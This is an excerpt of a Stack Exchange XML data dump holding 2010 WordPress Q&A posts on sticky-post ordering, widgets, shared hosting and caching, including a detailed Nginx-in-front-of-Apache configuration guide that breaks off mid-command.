OwnerUserId="25" LastActivityDate="2010-10-02T07:41:31.117" CommentCount="3" />
  <row Id="2487" PostTypeId="2" ParentId="2484" CreationDate="2010-10-02T09:25:51.827" Score="1" ViewCount="" Body="&lt;p&gt;read this Codex Page: &lt;a href=&quot;http://codex.wordpress.org/Login_Trouble&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Login_Trouble&lt;/a&gt; and try some of that solutions.&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-10-02T09:25:51.827" />
  <row Id="2488" PostTypeId="2" ParentId="2481" CreationDate="2010-10-02T09:44:13.187" Score="4" ViewCount="" Body="&lt;p&gt;I think &quot;widgets are for non-programmers&quot; is terrible description of their purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Widget API purpose is to provide way to &lt;strong&gt;package code&lt;/strong&gt; and expose consistent and convenient controls for it. With decent object oriented approach on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Widgets are not there for dumb people. They are there for creating good, convenient and reliable functionality.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-10-02T09:50:29.587" LastActivityDate="2010-10-02T09:50:29.587" CommentCount="3" />
  <row Id="2489" PostTypeId="1" AcceptedAnswerId="2493" CreationDate="2010-10-02T10:46:54.563" Score="0" ViewCount="294" Body="&lt;p&gt;I'm trying to build a featured posts with a &quot;tabbed&quot; interface in my homepage. I'm using the &quot;sticky&quot; option of the posts in order to get them out of the main loop and in the &quot;featured tabs&quot;. No problem here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I can't control the stickies order. Is there a way to set the order of sticky posts? A plugin, custom field... Is this stickies approach completely wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1102" LastActivityDate="2011-05-13T13:11:01.617" Title="featured posts order" Tags="&lt;plugin-recommendation&gt;&lt;posts&gt;&lt;custom-field&gt;" AnswerCount="3" />
  <row Id="2490" PostTypeId="1" AcceptedAnswerId="2491" CreationDate="2010-10-02T14:40:01.923" Score="2" ViewCount="1089" Body="&lt;p&gt;What caching plugin configuration do you recommend and why under the following assumptions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;full control of the server configuration&lt;/li&gt;&#xA;&lt;li&gt;running WordPress in multi-site/multi-domain mode&lt;/li&gt;&#xA;&lt;li&gt;most domains are not using &lt;code&gt;www.&lt;/code&gt; prefix (cookies)&lt;/li&gt;&#xA;&lt;li&gt;(desire) to be able to disable caching for specific IPs or based on a cookie, when you do changes to the site you don't need caching.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Details: I'm using Firefox Google Page Speed plugin to try to optimize the speed of the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also please do not guide with generic guidelines, like smaller images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's be fair, using more than one caching plugin will bring you more problems than it will solve so please try to give a simple approach.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-03T00:56:41.003" LastActivityDate="2010-10-03T06:08:24.113" Title="What is the best caching option for WordPress multi-site on non-shared hosting?" Tags="&lt;performance&gt;&lt;cache&gt;" AnswerCount="3" FavoriteCount="7" />
  <row Id="2491" PostTypeId="2" ParentId="2490" CreationDate="2010-10-02T15:08:22.707" Score="2" ViewCount="" Body="&lt;p&gt;Basic answer to &quot;what plugin&quot; would probably be &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt;. It is one of the most functional and actively developed plugins at moment. However complete performance chain is much longer that WordPress plugin alone can handle.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Web server (Apache or something else) configuration (response time, time to first byte, headers).&lt;/li&gt;&#xA;&lt;li&gt;Database (time spent processing queries).&lt;/li&gt;&#xA;&lt;li&gt;PHP/WordPress (page generation time, memory consumption).&lt;/li&gt;&#xA;&lt;li&gt;Front-end performance (amount of HTTP requests, bandwidth).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Good start would be static caching plugin (like W3) with opcode memory-based cache like &lt;a href=&quot;http://pecl.php.net/package/APC&quot; rel=&quot;nofollow&quot;&gt;APC&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But from there there are way more (and way more complex) things you could do, like content distribution networks, alternate web servers, etc.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-02T15:08:22.707" />
  <row Id="2492" PostTypeId="2" ParentId="2489" CreationDate="2010-10-02T17:08:30.687" Score="0" ViewCount="" Body="&lt;p&gt;If you want the posts in reverse chronological order, you can do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$sticky = get_option('sticky_posts');&#xA;rsort( $sticky ); &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more options for sorting. I'll be able to provide a more detailed answer on Monday if someone hasn't already done so &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Just noticed something really close here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/958/excluding-sticky-posts-from-the-loop-and-from-wp-query-in-wordpress&quot;&gt;http://wordpress.stackexchange.com/questions/958/excluding-sticky-posts-from-the-loop-and-from-wp-query-in-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to change the 'post__not_in' key to post__in .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;orderby options are here:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may also prove useful:&#xA;&lt;a href=&quot;http://www.cmurrayconsulting.com/software/wordpress-sort-query-by-post-in/&quot; rel=&quot;nofollow&quot;&gt;http://www.cmurrayconsulting.com/software/wordpress-sort-query-by-post-in/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Forgive me for not testing: I'm getting ready to catch a train soon.)&lt;/p&gt;&#xA;" OwnerUserId="1079" LastEditorUserId="1079" LastEditorDisplayName="" LastEditDate="2010-10-02T17:15:45.117" LastActivityDate="2010-10-02T17:15:45.117" CommentCount="1" />
  <row Id="2493" PostTypeId="2" ParentId="2489" CreationDate="2010-10-02T18:46:33.733" Score="1" ViewCount="" Body="&lt;p&gt;It sounds like you want to use the 'sticky' functionality as a replacement for a tag or a category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not just put all the posts you want in a 'tab' category, then call your query for that category. You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;orderby&lt;/a&gt; in fancy ways (such as by post_meta($tab = get_posts('category=tab&amp;amp;orderby=date');&lt;/p&gt;&#xA;" OwnerUserId="1127" LastActivityDate="2010-10-02T18:46:33.733" CommentCount="1" />
  <row Id="2494" PostTypeId="2" ParentId="2490" CreationDate="2010-10-02T18:54:12.737" Score="1" ViewCount="" Body="&lt;p&gt;Use a webspace with minimum 64MB Ram for Multisite and use APC and Memcached on the Apache, cache not static and you can use all WP-functions without problems.&#xA;You scan via PageSpeed read also other options, there was coded in the theme. A cache can do a great work, but can not repair a bad theme or plugin.&#xA;A another solution is to use subdomains without cookies as CDN in WordPress.&#xA;Add this to the wp-config.php for the Cookies only on the domain, not the subdomain.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'COOKIE_DOMAIN', 'example.com' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now set new functions in the functions.php of the theme or write a plugin to replace the path form static content to your subdomains, your custom CDN.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// replace for CDN on bloginfo&#xA;if ( !function_exists('fb_add_static_wpurl') ) {&#xA;    function fb_add_static_wpurl($info, $show) {&#xA;&#xA;        if ( is_admin() )&#xA;            return $info;&#xA;&#xA;        $keys = array(&#xA;            'url',&#xA;            'wpurl',&#xA;            'stylesheet_url',&#xA;            'stylesheet_directory',&#xA;            'template_url',&#xA;            'template_directory',&#xA;            );&#xA;&#xA;        if ( in_array( $show, $keys ) ) {&#xA;&#xA;            $wpurl = get_bloginfo('wpurl');&#xA;&#xA;            $search = array(&#xA;                $wpurl . '/wp-content/images/',&#xA;                $wpurl . '/wp-content/download/',&#xA;                $wpurl . '/wp-content/themes/',&#xA;                $wpurl . '/wp-content/plugins/',&#xA;            );&#xA;&#xA;            $replace = array(&#xA;                'http://cdn1.example.com/',&#xA;                'http://cdn2.example.com/',&#xA;                'http://cdn3.example.com/',&#xA;                'http://cdn4.example.com/',&#xA;            );&#xA;&#xA;            return str_replace( $search, $replace, $info );&#xA;&#xA;        } else {&#xA;            return $info;&#xA;        }&#xA;    }&#xA;    add_filter( 'bloginfo_url', 'fb_add_static_wpurl', 9999, 2 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now the function for template and stylesheet-path&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_add_static_stylesheet_uri($uri) {&#xA;&#xA;            if ( is_admin() )&#xA;                return $uri;&#xA;&#xA;            $wpurl = get_bloginfo('wpurl');&#xA;&#xA;            $search = array(&#xA;                $wpurl . '/wp-content/images/',&#xA;                $wpurl . '/wp-content/download/',&#xA;                $wpurl . '/wp-content/themes/',&#xA;                $wpurl . '/wp-content/plugins/',&#xA;            );&#xA;&#xA;            $replace = array(&#xA;                'http://cdn1.example.com/',&#xA;                'http://cdn2.example.com/',&#xA;                'http://cdn3.example.com/',&#xA;                'http://cdn4.example.com/',&#xA;            );&#xA;            return str_replace( $search, $replace, $uri );&#xA;&#xA;}&#xA;add_filter ( 'template_directory_uri', 'fb_add_static_stylesheet_uri' );&#xA;add_filter ( 'stylesheet_uri', 'fb_add_static_stylesheet_uri' );&#xA;add_filter ( 'stylesheet_directory_uri', 'fb_add_static_stylesheet_uri' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now read Page Speed on the frontend static CDN URLs without cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also add the follow source to the .htaccess for block dublicate content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# Explicitly send a 404 header if a file on cdn[0-9].example.org is not&#xA;# found. This will prevent the start page (empty URL) from being loaded.&#xA;##&#xA;RewriteCond %{HTTP_HOST} ^cdn[0-9]\.example\.org [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteRule .* - [R=404,L]&#xA;&#xA;##&#xA;# Do not dispatch dynamic resources via cdn[0-9].example.org.&#xA;##&#xA;RewriteCond %{HTTP_HOST} ^cdn[0-9]\.example\.org [NC]&#xA;RewriteCond %{REQUEST_FILENAME} \.(php|html)$&#xA;RewriteRule .* - [R=404,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please use the function, is also examples and you can write your solutions with my ideas.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-02T18:54:12.737" />
  <row Id="2495" PostTypeId="2" ParentId="2474" CreationDate="2010-10-02T19:01:45.530" Score="3" ViewCount="" Body="&lt;p&gt;The fastest way is deactivate the JS for this function. But i think, it is better when you also deregister the style for the box and init a custom style without the effects for the mouse and the open/close icon on the meta boxes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_remove_postbox() {&#xA;    wp_deregister_script('postbox');&#xA;}&#xA;add_action( 'admin_init', 'fb_remove_postbox' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2010-10-03T22:19:35.873" LastActivityDate="2010-10-03T22:19:35.873" CommentCount="4" />
  <row Id="2496" PostTypeId="2" ParentId="2315" CreationDate="2010-10-02T19:09:10.117" Score="0" ViewCount="" Body="&lt;p&gt;The plugin RSSImport has an pagination function and can include feeds in the sidebar, via Widget, Shortcode or PHP function. You can use Yahoo Pipes for create an feed form many different feeds and include this via plugin. Maybe this is an solution for your requirements.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-02T19:09:10.117" CommentCount="1" />
  <row Id="2497" PostTypeId="2" ParentId="2476" CreationDate="2010-10-02T20:21:25.383" Score="2" ViewCount="" Body="&lt;p&gt;Just treat it as a normal custom PHP project.  &lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2010-10-02T20:21:25.383" />
  <row Id="2498" PostTypeId="1" CreationDate="2010-10-02T21:41:44.583" Score="2" ViewCount="380" Body="&lt;p&gt;I'm testing out a shared hosting package with Dreamhost at the moment which is only $2.95 a month for unlimited domains, storage space, bandwidth, mysql databases etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm currently only running one test site on it and it seems pretty slow. Am I going to run into problems if I host lots of sites on a shared hosting package. Should I be looking at a dedicated server instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;iPage seem to offer a similar package but with lots of extras for $3.50 per month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you had any experience with either company?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice greatly appreciated. Thanks&lt;/p&gt;&#xA;" OwnerUserId="1063" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T09:56:33.533" LastActivityDate="2011-03-03T02:23:10.093" Title="WordPress hosting - Shared/dedicated server? Any recommendations?" Tags="&lt;hosting&gt;&lt;shared-hosting&gt;" AnswerCount="10" CommentCount="1" FavoriteCount="2" />
  <row Id="2499" PostTypeId="2" ParentId="2498" CreationDate="2010-10-02T21:56:49.037" Score="3" ViewCount="" Body="&lt;p&gt;We've migrated a lot of people from Dreamhost after their site gets mildly popular, and they notice it's either down or slow. But, we don't offer hosting plans that are as cheap as them as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend you check out &lt;a href=&quot;http://zippykid.com/&quot; rel=&quot;nofollow&quot;&gt;zippykid.com&lt;/a&gt; (our site), &lt;a href=&quot;http://page.ly/&quot; rel=&quot;nofollow&quot;&gt;page.ly&lt;/a&gt;, or &lt;a href=&quot;http://wpengine.com/&quot; rel=&quot;nofollow&quot;&gt;wpengine.com&lt;/a&gt; if you're interested WordPress hosting that doesn't suck.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be willing to give you a coupon if I could get some of your feedback. &lt;/p&gt;&#xA;" OwnerUserId="34" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-03T00:40:45.997" LastActivityDate="2010-10-03T00:40:45.997" CommentCount="7" />
  <row Id="2500" PostTypeId="2" ParentId="2481" CreationDate="2010-10-02T23:43:48.937" Score="0" ViewCount="" Body="&lt;p&gt;I have been subject to creating custom widgets and widget areas for clients for the sake of not breaking websites myself. While it can seem a bit tedious, I can understand the value. I even set out on my own to create a contact form widget that wraps the user-submitted information with microformat classes. I wanted people to be able to simply insert their info without breaking the valid hcard information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When used effectively, they are good to use.&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2010-10-02T23:43:48.937" />
  <row Id="2501" PostTypeId="2" ParentId="2498" CreationDate="2010-10-03T00:55:46.967" Score="3" ViewCount="" Body="&lt;p&gt;If you are serious about your website and care about your users experience you should stay away from any of the &quot;budget&quot; shared hosting packages.  The only way they can offer hosting for less than the price of a &lt;a href=&quot;http://www.happymeal.com/en_US/&quot; rel=&quot;nofollow&quot;&gt;Happy Meal&lt;/a&gt; is to squeeze thousands of sites on a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to be responsible for running your own server then any of the recommendations that Zippy Kid mentioned are great for WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step would be a managed VPS which comes with Cpanel then unmanaged VPS which is the most cost effective but requires some knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dedicated server would be overkill unless you are planning on serious traffic and need full control over everything on the server. &lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-10-03T00:55:46.967" />
  <row Id="2502" PostTypeId="2" ParentId="2490" CreationDate="2010-10-03T06:08:24.113" Score="5" ViewCount="" Body="&lt;h2&gt;My WordPress Performance and Caching Stack&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the best WordPress performance stack for a low to mid range single server or VPS.  I am classifying mid range as single core with around 1G of memory and fairly fast drives.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Server Stack&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Linux - Either Debian Lenny or Ubuntu&lt;/li&gt;&#xA;&lt;li&gt;Nginx - Configured as reverse proxy static file cache&lt;/li&gt;&#xA;&lt;li&gt;Apache - Apache will handle the PHP offloaded by Nginx on an alternate port&lt;/li&gt;&#xA;&lt;li&gt;MySql - Required by WP, make sure your running the latest stable version&lt;/li&gt;&#xA;&lt;li&gt;PHP -  Latest stable version of 5.2 or 5.3 branch&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;PHP Cache&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;APC - Configure it with mmap memory and shm size of at least 128M&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;WordPress Performance Plugin Stack&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nginx-proxy-cache-integrator/installation/&quot; rel=&quot;nofollow&quot;&gt;Nginx proxy cache integrator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; - Set page cache to disk enhanced, minify to disk, and object and db to APC.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Self Hosted CDN - Create 4 cname aliases that point to domain on the server set up just to serve static file  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With W3 Total Cache we are using disk for page cache and minify because Nginx will be serving our static files very fast.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How to configure Nginx to serve static files and pass PHP to Apache&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The problem with using Apache alone is that it opens up a connection and hits php on every request even for static files.  This wastes connections because Apache will keep them open and when you have lots of traffic your connections will be bogged down even if they are not being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default Apache listens for requests on port 80 which is the default web port.  First we are going to make changes to our Apache conf and virtual hosts files to listen on port 8080.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Apache Config&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;httpd.conf&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set KeepAlive to off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ports.conf&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NameVirtualHost *:8080&#xA;Listen 8080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Per Site Virtual Host&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost 127.0.0.1:8080&amp;gt;&#xA;     ServerAdmin info@yoursite.com&#xA;     ServerName yoursite.com&#xA;     ServerAlias www.yoursite.com&#xA;     DocumentRoot /srv/www/yoursite.com/public_html/&#xA;     ErrorLog /srv/www/yoursite.com/logs/error.log&#xA;     CustomLog /srv/www/yoursite.com/logs/access.log combined&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also install &lt;a href=&quot;http://stderr.net/apache/rpaf/&quot; rel=&quot;nofollow&quot;&gt;mod_rpaf&lt;/a&gt; so your logs will contain the real ip addresses of your visitors.  If not your logs will have 127.0.0.1 as the originating ip address.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Nginx Config&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;On Debian you can use the repositories to install but they only contain version 0.6.33.  To install a later version you have to add the lenny backports packages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ nano  /etc/apt/sources.list&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this line to the file &lt;code&gt;deb &lt;a href=&quot;http://www.backports.org/debian&quot; rel=&quot;nofollow&quot;&gt;http://www.backports.org/debian&lt;/a&gt; lenny-backports main&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ nano /etc/apt/preferences&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following to the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Package: nginx&#xA;Pin: release a=lenny-backports &#xA;Pin-Priority: 999&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Issue the following commands to import the key from backports.org to verify packages and update your system's package database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ wget -O - http://backports.org/debian/archive.key | apt-key add -&#xA;$ apt-get update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now install with apt-get&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;apt-get install nginx&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is much easier than compiling from source. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Nginx conf and server files config&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;nginx.conf&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user www-data;&#xA;worker_processes  4;&#xA;&#xA;error_log  /var/log/nginx/error.log;&#xA;pid        /var/run/nginx.pid;&#xA;&#xA;events {&#xA;    worker_connections  1024;&#xA;}&#xA;&#xA;http {&#xA;    include       /etc/nginx/mime.types;&#xA;    default_type  application/octet-stream;&#xA;&#xA;    access_log  /var/log/nginx/access.log;&#xA;    client_body_temp_path /var/lib/nginx/body 1 2;&#xA;    gzip_buffers 32 8k;&#xA;    sendfile        on;&#xA;    #tcp_nopush     on;&#xA;&#xA;    #keepalive_timeout  0;&#xA;    keepalive_timeout  65;&#xA;    tcp_nodelay        on;&#xA;&#xA;    gzip  on;&#xA;&#xA;  gzip_comp_level   6;&#xA;  gzip_http_version 1.0;&#xA;  gzip_min_length   0;&#xA;  gzip_types        text/html text/css image/x-icon&#xA;        application/x-javascript application/javascript text/javascript application/atom+xml application/xml ;&#xA;&#xA;&#xA;&#xA;    include /etc/nginx/conf.d/*.conf;&#xA;    include /etc/nginx/sites-enabled/*;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you will need to set up your Nginx virtual hosting.  I like to use the sites-enabled method with each v host sym linked to a file in the sites-available directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ mkdir /etc/nginx/sites-available  &#xA;$ mkdir /etc/nginx/sites-enabled&#xA;$ touch /etc/nginx/sites-available/yourservername.conf&#xA;$ touch /etc/nginx/sites-available/default.conf&#xA;$ ln -s  /etc/nginx/sites-available /etc/nginx/sites-enabled&#xA;$ nano /etc/nginx/sites-enabled/default.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default.conf&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The static cache settings in the following files will only work if the Nginx proxy cache integrator plugin is enabled. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxy_cache_path  /var/lib/nginx/cache  levels=1:2   keys_zone=staticfilecache:180m  max_size=500m;&#xA;proxy_temp_path /var/lib/nginx/proxy;&#xA;proxy_connect_timeout 30;&#xA;proxy_read_timeout 120;&#xA;proxy_send_timeout 120;&#xA;&#xA;#IMPORTANT - this sets the basic cache key that's used in the static file cache.&#xA;proxy_cache_key &quot;$scheme://$host$request_uri&quot;;&#xA;&#xA;upstream wordpressapache {&#xA;        #The upstream apache server. You can have many of these and weight them accordingly,&#xA;        #allowing nginx to function as a caching load balancer &#xA;        server 127.0.0.1:8080 weight=1 fail_timeout=120s;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Per WordPress site conf&lt;/strong&gt; (For multi site you will only need one vhost)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;        #Only cache 200 responses, and for a default of 20 minutes.&#xA;        proxy_cache_valid 200 20m;&#xA;&#xA;        #Listen to your public IP&#xA;        listen 80;&#xA;&#xA;        #Probably not needed, as the proxy will pass back the host in &quot;proxy_set_header&quot;&#xA;        server_name www.yoursite.com yoursite.com;&#xA;        access_log /var/log/nginx/yoursite.proxied.log;  &#xA;&#xA;        # &quot;combined&quot; matches apache's concept of &quot;combined&quot;. Neat.&#xA;        access_log  /var/log/apache2/nginx-access.log combined;&#xA;        # Set the real IP.&#xA;        proxy_set_header X-Real-IP  $remote_addr;&#xA;&#xA;        # Set the hostname&#xA;        proxy_set_header Host $host;&#xA;&#xA;        #Set the forwarded-for header.&#xA;        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xA;&#xA;        location / {&#xA;                        # If logged in, don't cache.&#xA;                        if ($http_cookie ~* &quot;comment_author_|wordpress_(?!test_cookie)|wp-postpass_&quot; ) {&#xA;                                set $do_not_cache 1;&#xA;                        }&#xA;                        proxy_cache_key &quot;$scheme://$host$request_uri $do_not_cache&quot;;&#xA;                        proxy_cache staticfilecache;&#xA;                        proxy_pass http://wordpressapache;&#xA;        }&#xA;&#xA;        location ~* wp\-.*\.php|wp\-admin {&#xA;                        # Don't static file cache admin-looking things.&#xA;                        proxy_pass http://wordpressapache;&#xA;        }&#xA;&#xA;        location ~* \.(jpg|png|gif|jpeg|css|js|mp3|wav|swf|mov|doc|pdf|xls|ppt|docx|pptx|xlsx)$ {&#xA;                        # Cache static-looking files for 120 minutes, setting a 10 day expiry time in the HTTP header,&#xA;                        # whether logged in or not (may be too heavy-handed).&#xA;                        proxy_cache_valid 200 120m;&#xA;                        expires 864000;&#xA;                        proxy_pass http://wordpressapache;&#xA;                        proxy_cache staticfilecache;&#xA;        }&#xA;&#xA;        location ~* \/[^\/]+\/(feed|\.xml)\/? {&#xA; # Cache RSS looking feeds for 45 minutes unless logged in.&#xA;                        if ($http_cookie ~* &quot;comment_author_|wordpress_(?!test_cookie)|wp-postpass_&quot; ) {&#xA;                                set $do_not_cache 1;&#xA;                        }&#xA;                        proxy_cache_key &quot;$scheme://$host$request_uri $do_not_cache&quot;;&#xA;                        proxy_cache_valid 200 45m;&#xA;                        proxy_cache staticfilecache;&#xA;                        proxy_pass http://wordpressapache;&#xA;        }&#xA;&#xA;        location = /50x.html {&#xA;                root   /var/www/nginx-default;&#xA;        }&#xA;&#xA;        # No access to .htaccess files.&#xA;        location ~ /\.ht {&#xA;                deny  all;&#xA;        }&#xA;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Self Hosted CDN conf&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your self hosted CDN conf you only need to set it up to serve static files without the proxy pass&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;&#xA;        proxy_cache_valid 200 20m;&#xA;        listen 80;&#xA;        server_name yourcdndomain.com;&#xA;        access_log   /srv/www/yourcdndomain.com/logs/access.log;&#xA;        root   /srv/www/yourcdndomain.com/public_html/;&#xA;&#xA; proxy_set_header X-Real-IP  $remote_addr;&#xA;&#xA;      location ~* \.(jpg|png|gif|jpeg|css|js|mp3|wav|swf|mov|doc|pdf|xls|ppt|docx|pptx|xlsx)$ {&#xA;                                # Cache static-looking files for 120 minutes, setting a 10 day expiry time in the HTTP header,&#xA;                                # whether logged in or not (may be too heavy-handed).&#xA;&#xA;                                proxy_cache_valid 200 120m;&#xA;                        expires 7776000;&#xA;                        proxy_cache staticfilecache;&#xA;                }&#xA;&#xA;location = /50x.html {&#xA;                root   /var/www/nginx-default;&#xA;        }&#xA;&#xA; # No access to .htaccess files.&#xA;        location ~ /\.ht {&#xA;          deny  all;&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now start the servers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ /etc/init.d/apache2 restart  &#xA;$/etc/init.d/nginx start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The Benchmark Results&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;On Apache Bench this setup can theoretically serve 1833.56 requests per second&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ab -n 1000 -c 20 